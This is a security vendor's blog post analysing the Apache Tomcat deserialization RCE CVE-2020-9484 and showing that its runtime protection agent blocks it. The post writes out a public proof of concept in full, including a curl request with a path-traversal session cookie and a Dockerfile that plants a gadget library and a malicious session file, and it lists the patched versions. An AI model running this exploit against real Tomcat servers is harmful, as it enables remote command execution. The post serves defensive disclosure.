Skip to content

Remote Code Execution Deserialization Vulnerability Blocked by Contrast

    
Remote Code Execution Deserialization Vulnerability Blocked by Contrast

On May 20, 2020, the National Vulnerability Database (NVD) published a new CVE—CVE-2020-9484. The vulnerability associated with CVE-2020-9484 allows any anonymous attacker with internet access to submit a malicious request to a Tomcat Server that has PersistentManager enabled using FileStore. This is not the default setup, but it can be configured by administrators in this way. 

The great news is that Contrast Protect customers are protected from this vulnerability being exploited.
 
CVE-2020-9484 as Untrusted Deserialization

The vulnerability is categorized as untrusted deserialization. MITRE defines untrusted deserialization in CWE-502 as, “The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.” In the case of the Tomcat vulnerability, the PersistentManager uses the ObjectInputStream to deserialize and read the session information.

The good news is that Contrast Protect blocks attacks against this vulnerability. Specifically, Contrast Protect detects when evil gadget types, like org.apache.commons.collections.functors.InvokerTransformer, are being deserialized. In this case, those method invocations are not properly restricted during the deserialization process which uses ObjectInputStream. There have been numerous deserialization vulnerabilities discovered in OSS and commercial software and Contrast protects them all. We just wrote about this one because of the heavy usage of the Apache Tomcat platform.

This specific remote code execution (RCE) allows attackers to submit any system commands, which permits the commands to run dynamically on the server side. The associated CVSS 3.1 score is a 9.8 critical. This score does not accurately portray the overall risk of this CVE. Certain actions and configurations are required in order for the vulnerability to be exploited, such as appropriate settings in Tomcat as well as attackers locating a different file upload vulnerability to exploit in order to plant the malicious payload.

That said, when these requirements are met, the vulnerability provides attackers with full control to write and execute system commands dynamically on the back-end Tomcat Server. As a result, Contrast Labs believes that the associated CVSS 2.0 score of 6.8 that places the CVE at a medium risk is more accurate.

What Does the Exploit of CVE-2020-9484 Look Like? 

Thanks to masahiro311 there is a dockerized proof of concept (POC) available in GitHub. The instructions in the README are as follows:

Get the POC and spin up the Docker container:

$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ docker run -d -p 8080:8080 tomcat:groovy

Perform the exploit:

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Output looks similar to:

<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title>
<style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;}
h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;}
.line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1>
<hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.UNIXProcess cannot be cast to java.util.Set</p>
<p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p>
<p><b>Exception</b></p><pre>java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.util.Set com.sun.proxy.$Proxy57.entrySet(Unknown Source) …More stack trace redacted…. </pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p>
<hr class="line" /><h3>Apache Tomcat/10.0.0-M4</h3></body></html>%

Verify the success of the exploit:

$ docker exec -it $CONTAINER /bin/sh
$ ls /tmp/rce
 
Output looks similar to:
 
/tmp/rce

Confirming the CVE HAS BEEN FIXED

As of the publication of this blog post, all vulnerable versions of Apache Tomcat Server have been patched:

Tomcat 10 -  http://tomcat.apache.org/security-10.html (10.0.0-M5)
Tomcat 9 - http://tomcat.apache.org/security-9.html (9.0.35)
Tomcat 8 - http://tomcat.apache.org/security-8.html (8.5.55)
Tomcat 7 -  http://tomcat.apache.org/security-7.html (7.0.104)

Anyone with a vulnerable version of Apache Tomcat Server should upgrade to a patched version as soon as possible.

How Does Contrast Protect Block CVE-2020-9484 Attacks? 

Contrast Protect is equipped without configuration to detect and block the Apache Tomcat untrusted deserialization vulnerability. To show how this works, Contrast Labs’ internal security researchers ran the above referenced PoC against a vulnerable version of Tomcat in a Docker container and added the Contrast Protect agent by simply modifying the Dockerfile:

FROM tomcat:10.0.0-M4-jdk8-openjdk
ADD ./index.jsp /usr/local/tomcat/webapps/ROOT/index.jsp
ADD ./context.xml /usr/local/tomcat/conf/context.xml
 
# Gadget lib
ADD ./groovy-2.3.9.jar /usr/local/tomcat/lib/groovy-2.3.9.jar
 
# Malicious binary
ADD ./groovy.session /usr/local/tomcat/groovy.session
 
# setup working directory - /Contrast holds contrast agent and yaml files
ADD /Contrast /Contrast
 
# Setup JAVA_TOOL_OPTIONS
ENV JAVA_TOOL_OPTIONS="-javaagent:/Contrast/contrast.jar -Dcontrast.config.path=/Contrast/contrast_security.yaml"
RUN export JAVA_TOOL_OPTIONS
 
EXPOSE 8080
CMD ["/usr/local/tomcat/bin/catalina.sh", "run"]

Readers will want to note the "setup working directory" and "Setup JAVA_TOOL_OPTIONS" sections where we added the Contrast agent, as well as its configuration. We then defined the “JAVA_TOOL_OPTIONS” environment parameter to include the Java Contrast agent.

Our researchers started the Tomcat Docker container and ran the exploit per the specifications in the POC:

% curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

The output to the curl command was as follows:

<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title>
<style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;}
h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;}
.line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1>
<hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> System command call during deserialization detected</p>
<p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p>
<p><b>Exception</b></p><pre>com.contrastsecurity.agent.plugins.rasp.AttackBlockedException: System command call during deserialization detected ……More stack trace redacted….. </pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p>
<hr class="line" /><h3>Apache Tomcat/10.0.0-M4</h3></body></html>%

Readers will notice that it was much different than when the exploit was successful. We highlighted the part that called out when the Contrast agent detected a system command call during deserialization. We then followed the POC steps and confirmed if the “/tmp/rce” file was created and when it was not. Finally, we browsed to the Contrast UI and saw the detected and blocked untrusted deserialization attack:

To enable the block mode on untrusted deserialization, users need to navigate in the Contrast Protect user interface to “Policy Management” -> “Protect Rules” -> “Untrusted Deserialization.” At that point, users need to verify the environment running their Tomcat instance is in “block” mode.

manage-untrusted-deserialization

To learn more about managing Contrast Protect Rules, check out the article in Contrast OpenDocs. And for more details on Contrast Protect, read our solution brief, “Contrast Protect with Runtime Application Self-Protection (RASP).”

David Lindner, Chief Information Security Officer

David Lindner, Chief Information Security Officer

David is an experienced application security professional with over 20 years in cybersecurity. In addition to serving as the chief information security officer, David leads the Contrast Labs team that is focused on analyzing threat intelligence to help enterprise clients develop more proactive approaches to their application security programs. Throughout his career, David has worked within multiple disciplines in the security field—from application development, to network architecture design and support, to IT security and consulting, to security training, to application security. Over the past decade, David has specialized in all things related to mobile applications and securing them. He has worked with many clients across industry sectors, including financial, government, automobile, healthcare, and retail. David is an active participant in numerous bug bounty programs.